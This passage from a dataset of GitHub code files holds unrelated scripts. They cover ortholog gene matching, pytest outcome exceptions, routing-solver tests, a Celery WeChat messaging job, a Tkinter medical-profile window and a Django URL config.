\"/onetoone_ortholog_file.txt\",\"w\")\n ortholog_count = open(out + \"/orthologs_count.txt\",\"w\") # id transcript count file\n ortholog_geneid = open(out + \"/orthologs_geneid.txt\",\"w\") #id average tpm file \n #clover_out = open(out + \"/\" + \"clover_ortholog_file.txt\",\"w\")\n header = [\"alfalfa_geneid\",\"alfalfa_1_count\",\"alfalfa_4_count\",\"alfalfa_6_count\",\"clover_2_count\",\"clover_3_count\",\"clover_5_count\\n\"]\n header_1 = [\"alfalfa_geneid\",\"clover_geneid\",\"alfalfa_1_count\",\"alfalfa_4_count\",\"alfalfa_6_count\",\"clover_2_count\",\"clover_3_count\",\"clover_5_count\\n\"]\n header_2 = [\"alfalfa_geneid\",\"average_tpm\",\"clover_geneid\",\"average_tpm\\n\"]\n alfalfa_out.write(\"\\t\".join(header))\n ortholog_count.write(\"\\t\".join(header_1))\n ortholog_geneid.write(\"\\t\".join(header_2))\n #clover_out.write(\"clover_transid\\talfalfa_geneid\\taverage_tpm\\talfalfa_geneid\\taverage_tpm\\tortholog_group\\n\")\n al_trans_dict = {}\n cl_trans_dict ={}\n al_tpm_dict = {}\n cl_tpm_dict = {}\n ortholog_id_dict = {}\n\n\n with open(af_trans_list) as file:\n for l in file:\n info = l.strip(\"\\n\").split(\" \")\n al_trans_dict.update({info[3]:info[1]})\n with open(cl_trans_list) as file:\n for l in file:\n info = l.strip(\"\\n\").split(\" \")\n cl_trans_dict.update({info[3]:info[1]})\n #print(trans_dict)\n \n #read alfalfa tpm table\n with open(al_tpm) as file:\n lines = file.readlines()\n lines = lines[1::]\n for l in lines:\n info = l.strip(\"\\n\").split(\"\\t\")\n al_tpm_dict.update({info[0]:info[1::]})\n #read clover tpm table\n with open(cl_tpm) as file:\n lines = file.readlines()\n lines = lines[1::]\n for l in lines:\n info = l.strip(\"\\n\").split(\"\\t\")\n cl_tpm_dict.update({info[0]:info[1::]})\n \n \n with open(orth_file) as file:\n lines = file.readlines()\n lines = lines[1::]\n alfalfa_id_dict = {}\n clover_id_dict = {}\n for l in lines:\n info = l.strip(\"\\n\").split(\"\\t\")\n ortholog_group = info[0]\n alfalfa_id_list = info[1]\n clover_id_list = info[2]\n alfalfa_id = alfalfa_id_list.split(\",\")\n clover_id = clover_id_list.split(\",\")\n alfalfa_gene_id_list = alfalfa_id_list.split(\",\")\n clover_gene_id_list = clover_id_list.split(\",\")\n alfalfa_gene_id_list = list(set([al_trans_dict[i.split(\".p\")[0].strip(\" \")] for i in alfalfa_gene_id_list]))\n clover_gene_id_list = list(set([cl_trans_dict[i.split(\".p\")[0].strip(\" \")] for i in clover_gene_id_list]))\n \n if len(alfalfa_gene_id_list) == 1 and len(clover_gene_id_list) == 1:\n \n try:\n hit = alfalfa_id_dict[alfalfa_gene_id_list[0]]\n if hit == clover_gene_id_list[0]:\n pass\n else:\n alfalfa_id_dict.pop(alfalfa_gene_id_list[0])\n except:\n alfalfa_id_dict.update({alfalfa_gene_id_list[0]:clover_gene_id_list[0]})\n \n #pk.dump(alfalfa_id_dict,open(out + \"/all_ortholog.dat\",\"wb\"))\n\n mark_alfalfa_dict = list(alfalfa_id_dict.keys()) \n \n for key,value in alfalfa_id_dict.items():\n try:\n hit_1 = clover_id_dict[value]\n if hit_1 != key:\n mark_alfalfa_dict.pop(key)\n except:\n clover_id_dict.update({value:key})\n\n \n \n for id in mark_alfalfa_dict:\n alfalfa_ortholog_dict.update({id:alfalfa_id_dict[id]})\n\n #gene_id_a = al_trans_dict[id.split(\".p\")[0].strip(\" \")]\n clover_id_wirte = alfalfa_ortholog_dict[id] \n \n try:\n tpm_1 = al_tpm_dict[id][0:3]\n \n except:\n tpm_1 = [\"0\"]*3\n try:\n tpm_2 = cl_tpm_dict[alfalfa_id_dict[id]][0:3]\n except:\n tpm_2 = [\"0\"]*3\n\n\n alfalfa_out.write(\"{}\\t{}\\t{}\\n\".format(id,\"\\t\".join(tpm_1),\"\\t\".join(tpm_2)))\n ortholog_count.write(\"{}\\t{}\\t{}\\t{}\\n\".format(id,clover_id_wirte,\"\\t\".join(tpm_1),\"\\t\".join(tpm_2)))\n ortholog_geneid.write(\"{}\\t{}\\t{}\\t{}\\n\".format(id,al_tpm_dict[id][3],clover_id_wirte,al_tpm_dict[id][7]))\n \n pk.dump(alfalfa_ortholog_dict,open(out + \"/alfalfa_clover_ortholog_translation.dat\",\"wb\"))\n \n \n \n return(alfalfa_ortholog_dict)\n \ndef get_average_length(al_df,cl_df,ortholog_dict,o_table,out):\n al_df = pd.read_csv(al_df)\n cl_df = pd.read_csv(cl_df)\n total_length_list = []\n al_dict = dict(zip(al_df[\"alfalfaGeneid\"],al_df[\"Length\"]))\n cl_dict = dict(zip(cl_df[\"cloverGeneid\"],cl_df[\"Length\"]))\n out_file = open(out + \"/ortholog_avglength.txt\", \"w\")\n one_df = pd.read_table(o_table) \n header = [\"alfalfa_geneid\",\"alfalfa_1_count\",\"alfalfa_4_count\",\"alfalfa_6_count\",\"clover_2_count\",\"clover_3_count\",\"clover_5_count\\n\"]\n\n out_file.write(\"{}\\n\".format(\"\\t\".join(header)))\n for id in one_df[\"alfalfa_geneid\"]:\n length_list = [al_dict[id],cl_dict[ortholog_dict[id]]]\n average_length = mean(length_list)\n total_length_list.append(average_length)\n \n #get average use average_length\n \n alfalfa_length = [str(average_length)]*3\n #clover_length = [str(total_length_list[1])]*3\n \n out_file.write(\"{}\\t{}\\t{}\\n\".format(id,\"\\t\".join(alfalfa_length),\"\\t\".join(alfalfa_length)))\n\n #out_file.write()\n\n \n #total_df = pd.DataFrame(ortholog_dict.keys(),columns = [\"alfalfa_Geneid\"])\n #total_df[\"average_length\"] = total_length_list\n #total_df.to_csv(out + \"/ortholog_length.txt\", index= False)\n\n'''\n#draw scatter plot of alfalfa gene tpm vs. clover gene tpm \ndef draw_scatter(table,out):\n df = pd.read_table(table)\n \n fig, ax = plt.subplots()\n \n x = log10(df.iloc[:,1])\n y = log10(df.iloc[:,3])\n ax.scatter(x,y, s = 1)\n ax.set_xlabel(\"alfalfa log10 tpm\")\n ax.set_ylabel(\"clover log10 tpm\")\n #ax.set_xlim((0,500))\n #ax.set_ylim((0,500))\n fig.show()\n fig.savefig(\"{}/ortholog_tpm_scatter.png\".format(out))\n''' \n\n \n\nif __name__ == '__main__':\n '''\n ortholog_file = \"/home/rui-huang/Documents/RNA_seq_doc/OrthoFinder/Results_Apr23_1/Orthologues/Orthologues_alfalfa/alfalfa__v__clover.tsv\"\n folder = \"/home/rui-huang/Documents/RNA_seq_doc/OrthoFinder/Results_Apr23_1\"\n alfalfa_trans_id_list = \"/home/rui-huang/Documents/RNA_seq_doc/new_assembly/alfalfa_assembly/new_lacer/alfalfa_transid_2.txt\"\n clover_trans_id_list = \"/home/rui-huang/Documents/RNA_seq_doc/new_assembly/clover_assembly/new_lacer/clover_transid_2.txt\"\n alfalfa_tpm = \"/home/rui-huang/Documents/RNA_seq_doc/alfalfa_triplicate_salmon_tpm.txt\"\n clover_tpm = \"/home/rui-huang/Documents/RNA_seq_doc/clover_triplicate_salmon_tpm.txt\"\n '''\n ortholog_file = args[\"i\"]\n folder = args[\"o\"]\n alfalfa_trans_id_list = args[\"at\"]\n clover_trans_id_list = args[\"ct\"]\n alfalfa_tpm = args[\"as\"]\n clover_tpm = args[\"cs\"]\n\n \n alfalfa_ortholog_dict = ortholog_group(ortholog_file,alfalfa_trans_id_list,clover_trans_id_list,alfalfa_tpm,clover_tpm,folder)\n \n '''\n onetoone_table = folder + \"/onetoone_ortholog_file.txt\"\n alfalfa_length_df = \"/home/rui-huang/Documents/RNA_seq_doc/alfalfa_length.txt\"\n clover_length_df = \"/home/rui-huang/Documents/RNA_seq_doc/clover_length.txt\"\n '''\n onetoone_table = folder + \"/onetoone_ortholog_file.txt\"\n alfalfa_length_df = args[\"al\"]\n clover_length_df = args[\"cl\"]\n\n get_average_length(alfalfa_length_df,clover_length_df,alfalfa_ortholog_dict,onetoone_table,folder)\n \n \n '''\n orhtolog_table = \"/home/rui-huang/Documents/RNA_seq_doc/OrthoFinder/Results_Apr23_1/orthologs_count.txt\"\n \n ortholog_table = \"/home/rui-huang/Documents/RNA_seq_doc/OrthoFinder/Results_Apr23_1/orthologs_geneid.txt\"\n draw_scatter(ortholog_table,folder)\n '''\n ","repo_name":"hyhy8181994/Alfalfa_and_yellow_sweet_clover_nodule_transcriptome","sub_path":"assign_ortholog_group.py","file_name":"assign_ortholog_group.py","file_ext":"py","file_size_in_byte":9549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11556461146","text":"\"\"\"\nexception classes and constants handling test outcomes\nas well as functions creating them\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\nimport py\nimport sys\n\n\nclass OutcomeException(BaseException):\n \"\"\" OutcomeException and its subclass instances indicate and\n contain info about test and collection outcomes.\n \"\"\"\n def __init__(self, msg=None, pytrace=True):\n BaseException.__init__(self, msg)\n self.msg = msg\n self.pytrace = pytrace\n\n def __repr__(self):\n if self.msg:\n val = self.msg\n if isinstance(val, bytes):\n val = py._builtin._totext(val, errors='replace')\n return val\n return \"<%s instance>\" % (self.__class__.__name__,)\n __str__ = __repr__\n\n\nTEST_OUTCOME = (OutcomeException, Exception)\n\n\nclass Skipped(OutcomeException):\n # XXX hackish: on 3k we fake to live in the builtins\n # in order to have Skipped exception printing shorter/nicer\n __module__ = 'builtins'\n\n def __init__(self, msg=None, pytrace=True, allow_module_level=False):\n OutcomeException.__init__(self, msg=msg, pytrace=pytrace)\n self.allow_module_level = allow_module_level\n\n\nclass Failed(OutcomeException):\n \"\"\" raised from an explicit call to pytest.fail() \"\"\"\n __module__ = 'builtins'\n\n\nclass Exit(KeyboardInterrupt):\n \"\"\" raised for immediate program exits (no tracebacks/summaries)\"\"\"\n def __init__(self, msg=\"unknown reason\"):\n self.msg = msg\n KeyboardInterrupt.__init__(self, msg)\n\n# exposed helper methods\n\n\ndef exit(msg):\n \"\"\" exit testing process as if KeyboardInterrupt was triggered. \"\"\"\n __tracebackhide__ = True\n raise Exit(msg)\n\n\nexit.Exception = Exit\n\n\ndef skip(msg=\"\", **kwargs):\n \"\"\" skip an executing test with the given message. Note: it's usually\n better to use the pytest.mark.skipif marker to declare a test to be\n skipped under certain conditions like mismatching platforms or\n dependencies. See the pytest_skipping plugin for details.\n\n :kwarg bool allow_module_level: allows this function to be called at\n module level, skipping the rest of the module. Default to False.\n \"\"\"\n __tracebackhide__ = True\n allow_module_level = kwargs.pop('allow_module_level', False)\n if kwargs:\n keys = [k for k in kwargs.keys()]\n raise TypeError('unexpected keyword arguments: {0}'.format(keys))\n raise Skipped(msg=msg, allow_module_level=allow_module_level)\n\n\nskip.Exception = Skipped\n\n\ndef fail(msg=\"\", pytrace=True):\n \"\"\" explicitly fail an currently-executing test with the given Message.\n\n :arg pytrace: if false the msg represents the full failure information\n and no python traceback will be reported.\n \"\"\"\n __tracebackhide__ = True\n raise Failed(msg=msg, pytrace=pytrace)\n\n\nfail.Exception = Failed\n\n\nclass XFailed(fail.Exception):\n \"\"\" raised from an explicit call to pytest.xfail() \"\"\"\n\n\ndef xfail(reason=\"\"):\n \"\"\" xfail an executing test or setup functions with the given reason.\"\"\"\n __tracebackhide__ = True\n raise XFailed(reason)\n\n\nxfail.Exception = XFailed\n\n\ndef importorskip(modname, minversion=None):\n \"\"\" return imported module if it has at least \"minversion\" as its\n __version__ attribute. If no minversion is specified the a skip\n is only triggered if the module can not be imported.\n \"\"\"\n import warnings\n __tracebackhide__ = True\n compile(modname, '', 'eval') # to catch syntaxerrors\n should_skip = False\n\n with warnings.catch_warnings():\n # make sure to ignore ImportWarnings that might happen because\n # of existing directories with the same name we're trying to\n # import but without a __init__.py file\n warnings.simplefilter('ignore')\n try:\n __import__(modname)\n except ImportError:\n # Do not raise chained exception here(#1485)\n should_skip = True\n if should_skip:\n raise Skipped(\"could not import %r\" % (modname,), allow_module_level=True)\n mod = sys.modules[modname]\n if minversion is None:\n return mod\n verattr = getattr(mod, '__version__', None)\n if minversion is not None:\n try:\n from pkg_resources import parse_version as pv\n except ImportError:\n raise Skipped(\"we have a required version for %r but can not import \"\n \"pkg_resources to parse version strings.\" % (modname,),\n allow_module_level=True)\n if verattr is None or pv(verattr) < pv(minversion):\n raise Skipped(\"module %r has __version__ %r, required is: %r\" % (\n modname, verattr, minversion), allow_module_level=True)\n return mod\n","repo_name":"WebKit/WebKit","sub_path":"LayoutTests/imported/w3c/web-platform-tests/tools/third_party/pytest/_pytest/outcomes.py","file_name":"outcomes.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","stars":6880,"dataset":"github-code","pt":"3"} +{"seq_id":"13944059498","text":"# encoding: utf8\r\n\r\n\"\"\"\r\n fonctions utiles pour la course à pied\r\n\"\"\"\r\n\r\n# ---- python ----\r\nimport sys\r\nimport doctest\r\nimport io\r\nimport re\r\nfrom math import fmod\r\nfrom datetime import datetime\r\n\r\n# ---- other ----\r\n\r\n# ---- mine ----\r\n\r\n# %% -------------------------------------------------------------------\r\n\r\ndef ekm(km, deniv):\r\n \"\"\" calcule la difficulté d'une course\r\n >>> ekm(112, 2800)\r\n 140.0\r\n >>> ekm(100, 2222)\r\n 122.22\r\n \"\"\"\r\n return km + deniv/100.\r\n\r\n# %% -------------------------------------------------------------------\r\n\r\ndef str2dt(s, an=2017):\r\n \"\"\" raccourci vers strptime pour convertir une str en datetime\r\n >>> str2dt('6/2')\r\n datetime.datetime(2017, 2, 6, 0, 0)\r\n >>> str2dt('6/2', 16)\r\n datetime.datetime(2016, 2, 6, 0, 0)\r\n >>> str2dt('6/2', 2016)\r\n datetime.datetime(2016, 2, 6, 0, 0)\r\n \"\"\"\r\n if an > 2000: an -= 2000\r\n return datetime.strptime(s + '/' + str(an), '%d/%m/%y')\r\n\r\n\r\n# %% -------------------------------------------------------------------\r\n\r\nif __name__ == \"__main__\":\r\n quiet = len(sys.argv) > 1 and '-q' in sys.argv[1]\r\n if quiet:\r\n sys.stdout = io.StringIO()\r\n\r\n # ---- do the tests\r\n opts = doctest.ELLIPSIS | doctest.NORMALIZE_WHITESPACE\r\n (fails, tests) = doctest.testmod(optionflags=opts)\r\n # ---- done\r\n\r\n sys.stdout = sys.__stdout__ # même si not quiet ça ne coûte rien\r\n\r\n if tests == 0:\r\n print('no tests in this file')\r\n elif tests > 0 and fails == 0: # sinon pas d'affichage c'est pénible\r\n print('%d tests successfully passed' % tests)\r\n elif quiet:\r\n print('%d tests over %d FAILED' % (fails, tests))\r\n","repo_name":"mightyFredJ/CaP","sub_path":"tools/captools.py","file_name":"captools.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29258232187","text":"import maps.b2bgeo.mvrp_solver.annealing_mvrp.tests_lib.mvrp_checker as mvrp_checker\nimport maps.b2bgeo.mvrp_solver.annealing_mvrp.tests_lib.tools as tools\nimport json\nimport pytest\nimport datetime\n\n\n@pytest.mark.parametrize('use_deadline', [True, False])\ndef test_depot_deadline(use_deadline):\n task = tools.get_test_json(\"depot_deadline.json\")\n\n if not use_deadline:\n for loc in task['locations']:\n if 'delivery_deadline' in loc:\n del loc['delivery_deadline']\n\n result = mvrp_checker.solve_and_check(\n json.dumps(task), None, solver_arguments={'sa_iterations': 100000})\n\n for route in result['routes']:\n deadline = float('inf')\n for node in route['route']:\n value = node['node']['value']\n if 'delivery_deadline' in value:\n time = datetime.datetime.strptime(value['delivery_deadline'], '%H:%M:%S')\n timedelta = datetime.timedelta(hours=time.hour, minutes=time.minute, seconds=time.second)\n cur_deadline = timedelta.total_seconds()\n deadline = min(deadline, cur_deadline)\n elif node['node']['type'] == 'depot' and deadline < float('inf'):\n assert (node['arrival_time_s'] <= deadline) == use_deadline\n\n\ndef test_depot_deadline_penalty():\n \"\"\"\n In this test it is impossible to satisfy all deadlines,\n we check that penalties are calculated correctly\n \"\"\"\n task = tools.get_test_json(\"depot_deadline.json\")\n\n vehicle = task['vehicles'][0]\n vehicle['max_runs'] = 1\n\n expected_metrics = {\n \"failed_time_window_locations_count\": 0,\n \"failed_time_window_locations_count_penalty\": 0,\n \"failed_time_window_locations_duration_penalty\": 0,\n \"failed_time_window_locations_duration_s\": 0,\n \"total_failed_delivery_deadline_count\": 2,\n \"total_failed_delivery_deadline_duration_s\": 20708.034934440395,\n \"total_failed_delivery_deadline_penalty\": 5549.307860249089,\n \"total_failed_time_window_count\": 0,\n \"total_failed_time_window_duration_s\": 0,\n \"total_failed_time_window_penalty\": 0,\n \"total_late_count\": 0,\n \"total_late_duration_s\": 0,\n \"total_late_penalty\": 0,\n \"total_penalty\": 5549.307860249089,\n }\n\n mvrp_checker.solve_and_check(\n json.dumps(task), None, solver_arguments={'sa_iterations': 100000},\n expected_metrics=expected_metrics)\n\n\n@pytest.mark.parametrize('return_to_depot', [True, False])\n@pytest.mark.parametrize('finish_at', [True, False])\ndef test_depot_deadline_return(return_to_depot, finish_at):\n \"\"\"\n This test checks that pickup with depot deadline is delivered to depot even if return_to_depot is false\n \"\"\"\n task = tools.get_test_json(\"depot_deadline_return.json\")\n\n vehicle = task['vehicles'][0]\n vehicle['return_to_depot'] = return_to_depot\n if not finish_at:\n del vehicle['finish_at']\n\n expected_metrics = {\n 'assigned_locations_count': 1,\n 'max_vehicle_runs': 1\n }\n\n mvrp_checker.solve_and_check(\n json.dumps(task), None, solver_arguments={'sa_iterations': 100000},\n expected_metrics=expected_metrics)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests_fast/test_depot_deadline.py","file_name":"test_depot_deadline.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8443776235","text":"if __name__ == \"__main__\":\n split_input = input().split(\"-\")\n if len(split_input) != 3 or False in [split.isnumeric() for split in split_input] or len(split_input[0]) != 4:\n print(\"Input format ERROR. Correct Format: YYYY-MM-DD\")\n exit(-1)\n\n month = int(split_input[1])\n day = int(split_input[2])\n\n days_in_month = 30 if month & 1 else 31\n if month == 2:\n days_in_month = 28\n\n new_year = int(split_input[0])\n new_month = month\n new_day = day + 1\n\n if new_day > days_in_month:\n new_month += 1\n new_day = 1\n if new_month > 12:\n new_month = 1\n new_year += 1\n\n print(f\"next date: {new_year}-{'0' if new_month < 10 else ''}{new_month}-{'0' if new_day < 10 else ''}{new_day}\")\n","repo_name":"Psekk/Bootcamp-HR","sub_path":"assignments/week2/A1W2A1.py","file_name":"A1W2A1.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6155199386","text":"#!/usr/bin/python2.7\n# -*- coding: utf-8 -*-\n\nfrom celery import Celery,platforms\nfrom kombu import Exchange, Queue\nfrom celery import task\nfrom config import *\nimport mysql.connector\nimport json\nimport uuid\nimport datetime\nimport time\n\nONCE_CAPACITY = 10000\nONCE_PRENUM = 10000\n\napp = Celery(\"srjob.sendmsg\", broker=amqp_url)\n\n\nplatforms.C_FORCE_ROOT = True\n\napp.conf.update(\n CELERY_TRACK_STARTED=True,\n CELERY_TASK_SERIALIZER='json',\n CELERY_ACCEPT_CONTENT=['json'], # Ignore other content\n CELERY_RESULT_SERIALIZER='json',\n CELERY_IMPORTS = (\"addsendapp\",\"preparesendapp\",\"dosendapp\",\"addJob\",\"addreward\",\"addsendmail\",\"addsendmsg\",\"addsendsms\",\"addtask\",\"custinfosync\",\"custsync\",\"doreward\",\"dosendmail\",\"dosendmsg\",\"dosendsms\",\"findJob\",\"preparereward\",\"preparesendmail\",\"preparesendsms\",\"sessionclose\",\"tagsync\",\"tasks\",\"usercheck\",),\n CELERYBEAT_SCHEDULE={\n 'find-reward-every-10-seconds': {\n 'task': 'srjob.sendmsg.find',\n 'schedule': datetime.timedelta(seconds=60),\n }\n }\n)\n\ndiff_time = time.timezone\ndef utc_now():\n return datetime.datetime.now() + datetime.timedelta(seconds=diff_time)\n\n\n@app.task(name=\"srjob.sendmsg.find\")\ndef findsendmsg():\n redisdb = ensure_redis()\n listlen = redisdb.llen(\"sendmsg\")\n for i in range(0, listlen):\n listid = redisdb.lindex(\"sendmsg\",i)\n task = redisdb.hgetall(listid)\n count = 1\n listtemplen = redisdb.llen(\"sendmsg\")\n for j in range(0, listtemplen):\n templistid = redisdb.lindex(\"sendmsg\",j)\n temptask = redisdb.hgetall(templistid)\n if temptask['status'] == 'running':\n count = count + 1\n if count > 1:\n break\n if task['status'] == 'STARTED' and task['isenable'] == '1':\n task_id = task['_id']\n taskargu = eval(task['arguments'])\n esttime = task[\"esttime\"]\n campaignid = int(taskargu[\"campaignid\"])\n wechatid = int(taskargu['wechatid'])\n customer = json.loads(taskargu['customer'])\n if datetime.datetime.strptime(esttime, \"%Y-%m-%d %H:%M:%S\") < (datetime.datetime.now() + datetime.timedelta(seconds=1)):\n try:\n redisdb.hset(listid,'status','running')\n mydb = connect()\n ensure_mysql()\n cursor = mydb.cursor()\n # 查询sql语句\n sql = \"SELECT cust.id,cust.openid FROM sr_cust_customer cust \"\n campsql = (\"SELECT filtersql from sr_campaign_filterrule where campaignid = %d\" % campaignid)\n cursor.execute(campsql)\n camprow = cursor.fetchone()\n if not camprow:\n break\n wheresql = (\"SELECT FROM_BASE64(\\\"%s\\\") as condit\" % camprow[0])\n cursor.execute(wheresql)\n whererow = cursor.fetchone()\n if not whererow:\n break\n conditions = []\n conditions.append(\"WHERE 1 = 1\")\n conditions.append(\" AND %s\" % whererow[0])\n sql = sql + ''.join(conditions)\n print(sql)\n #查询消息相关条件\n\n wechatsql = (\"SELECT id,campaignid,title,sendaccount,wechattype,sortno,author,abstract,content,linkurl,fileid,isenabled from sr_campaign_wechat where id= %d\" % (wechatid))\n print(wechatsql)\n cursor.execute(wechatsql)\n wechat = cursor.fetchall()\n wechatrow = wechat[0]\n if not wechatrow:\n break\n print(wechatrow)\n wechattype = wechatrow[4]\n if wechattype == 3:\n content = wechatrow[8]\n elif wechattype == 4:\n voicesql = (\"SELECT fileid from sr_weiapp_resource where id = %d\" % (int(wechatrow[8])))\n cursor.execute(voicesql)\n voicerow = cursor.fetchone()\n if not voicerow:\n break\n content = voicerow[0]\n elif wechattype == 5:\n videosql = (\"SELECT fileid,filename from sr_weiapp_resource where id = %d\" % (int(wechatrow[8])))\n cursor.execute(videosql)\n videorow = cursor.fetchone()\n if not videorow:\n break\n content = videorow[0]+\"@filename@\"+videorow[1]\n else :\n contentsql = (\"SELECT jsonfileid from sr_weiapp_reply_content where id = %d\" % (int(wechatrow[8])))\n cursor.execute(contentsql)\n contentrow = cursor.fetchone()\n if not contentrow:\n break\n content = contentrow[0]\n print(content)\n wechatid = wechatrow[0]\n campaignid = wechatrow[1]\n title = wechatrow[2]\n sendaccount = wechatrow[3]\n sortno = wechatrow[5]\n author = wechatrow[6]\n abstract = wechatrow[7]\n\n linkurl = wechatrow[9]\n fileid = wechatrow[10]\n isenabled = wechatrow[11]\n cursor.execute(sql)\n\n count = 0\n\n times = 0\n openids = \"\"\n while True:\n row = cursor.fetchone()\n if not row:\n break\n print(esttime)\n #esttime = datetime.datetime.strftime(esttime, \"%Y-%m-%d %H:%M:%S\")\n id = row[0]\n openid = row[1]\n\n sendmsgid = str(uuid.uuid4())\n if openid:\n openids=openids+openid.encode('utf-8')+\",\"\n count += 1\n if count % ONCE_PRENUM == 0:\n times += 1\n redisdb.hmset(\"sendmsgsync:\"+sendmsgid,{\n \"openid\":openids,\n \"custid\":id,\n \"sendmsgid\":sendmsgid,\n \"campaignid\":campaignid,\n \"sendaccount\":sendaccount,\n \"wechattype\":wechattype,\n \"content\":content,\n \"task_id\":task_id,\n \"activetime\":esttime,\n \"status\":1\n })\n redisdb.lpush(\"sendmsgsync\",\"sendmsgsync:\"+sendmsgid)\n esttime = datetime.datetime.strptime(esttime, \"%Y-%m-%d %H:%M:%S\") + datetime.timedelta(minutes=30)\n esttime = datetime.datetime.strftime(esttime, \"%Y-%m-%d %H:%M:%S\")\n openids = \"\"\n\n\n if count % ONCE_PRENUM:\n times += 1\n redisdb.hmset(\"sendmsgsync:\"+sendmsgid,{\n \"openid\":openids,\n \"custid\":id,\n \"sendmsgid\":sendmsgid,\n \"campaignid\":campaignid,\n \"sendaccount\":sendaccount,\n \"wechattype\":wechattype,\n \"content\":content,\n \"task_id\":task_id,\n \"activetime\":esttime,\n \"status\":1\n })\n redisdb.lpush(\"sendmsgsync\",\"sendmsgsync:\"+sendmsgid)\n\n redisdb.hmset(listid,{\"isenable\":0,\"prepare\":1,\"queried\": times, \"downcount\": times})\n\n except Exception as e:\n print(str(e))\n redisdb.hmset(listid,{\"status\":\"STARTED\",\"error\":str(e)})\n raise\n\n\nif __name__ == \"__main__\":\n # 使用sys.argv参数运行\n # app.worker_main()\n\n # 使用自定义参数运行\n # --beat同时开启beat模式，即运行按计划发送task的实例\n # 应确保全局只有一份同样的beat\n app.worker_main([\"worker\", \"--beat\", \"--loglevel=debug\",\"-n\",\"preparesendmsg.%h\",\"-s\",\"./sche-preparesendmsg\"])","repo_name":"110273315/python-celery-rpc-mq","sub_path":"preparesendmsg.py","file_name":"preparesendmsg.py","file_ext":"py","file_size_in_byte":8773,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"4912631976","text":"import tkinter as tk\r\nfrom tkinter import ttk\r\nimport tkinter.font as font\r\n\r\n\r\nroot = tk.Tk()\r\nroot.title(\"Perfil Medico\")\r\nttk.Label(root, text=\"Perfíl medico\", padding=(30, 10)).pack()\r\nstyle = ttk.Style(root)\r\nstyle.configure(\"LargeEntry.TEntry\", font=(\"Segoe UI\", 15))\r\nfont.nametofont(\"TkDefaultFont\").configure(size=15)\r\nNombre=\"Harola Angeles \"\r\nEdad=\"19\"\r\nPeso=\"45\"\r\nTalla=\"1.5\"\r\nMdg=\"2do mes\"\r\nEnfermedad_c=\"Diabetes\"\r\nEnfermedad_nc=\"Ninguna\"\r\n\r\n\r\n#nombre\r\nNombre_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nNombre_frame.pack(fill=\"both\")\r\nttk.Label(Nombre_frame, text=f\"Nombre: {Nombre} \", padding=(30, 10)).pack(side=\"left\")\r\n#edad\r\nEdad_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nEdad_frame.pack(fill=\"both\")\r\nttk.Label(Edad_frame, text=f\"Edad: {Edad} años\", padding=(30, 10)).pack(side=\"left\")\r\n#peso\r\nttk.Label(Edad_frame, text=f\"Peso: {Peso} kg\", padding=(30, 10)).pack(side=\"left\")\r\n#Talla\r\nttk.Label(Edad_frame, text=f\"Talla: {Talla} m\", padding=(30, 10)).pack(side=\"left\")\r\n#Mes de gestacion\r\nMdg_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nMdg_frame.pack(fill=\"both\")\r\nttk.Label(Mdg_frame, text=f\"Mes de gestación: {Mdg}\", padding=(30, 10)).pack(side=\"left\")\r\n#Enfermedad adicional\r\nEnfermedadA_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nEnfermedadA_frame.pack(fill=\"both\")\r\nttk.Label(EnfermedadA_frame, text=f\"Enfermedad considerable: {Enfermedad_c}\", padding=(30, 10)).pack(side=\"left\")\r\n#Enfermedad no considerable\r\nEnfermedadnc_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nEnfermedadnc_frame.pack(fill=\"both\")\r\nttk.Label(Enfermedadnc_frame, text=f\"Enfermedad no considerable: {Enfermedad_nc}\", padding=(30, 10)).pack(side=\"left\")\r\n#Botones\r\nbotones_frame=ttk.Frame(root, padding=(20,10,20,0))\r\nbotones_frame.pack(fill=\"both\")\r\nboton_editar =ttk.Button(botones_frame, text=\"Editar\").pack(side=\"left\")\r\nboton_atras =ttk.Button(botones_frame, text=\"Atras\", command=root.destroy).pack(side=\"right\")\r\n\r\nroot.mainloop()","repo_name":"Grupo13BIODI/Grupo13BIODI.github.io","sub_path":"Codigos/Interfaz grafica/Perfil_medico.py","file_name":"Perfil_medico.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21250110179","text":"from django.urls import path\r\n\r\nfrom . import views\r\n\r\napp_name = 'index'\r\nurlpatterns = [\r\n path('', views.index, name='main'),\r\n path('login/', views.login, name='login'),\r\n path('logout/', views.logout, name='logout'),\r\n path('signup/', views.sign_up, name='signup'),\r\n path('new////', views.add_device, name='new')\r\n]","repo_name":"Yehor40in/XchangeWeb-django","sub_path":"index/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42847891529","text":"\"\"\"ib_service URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Import the include() function: from django.conf.urls import url, include\n 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nimport os\n\n\napi = []\n\napps = 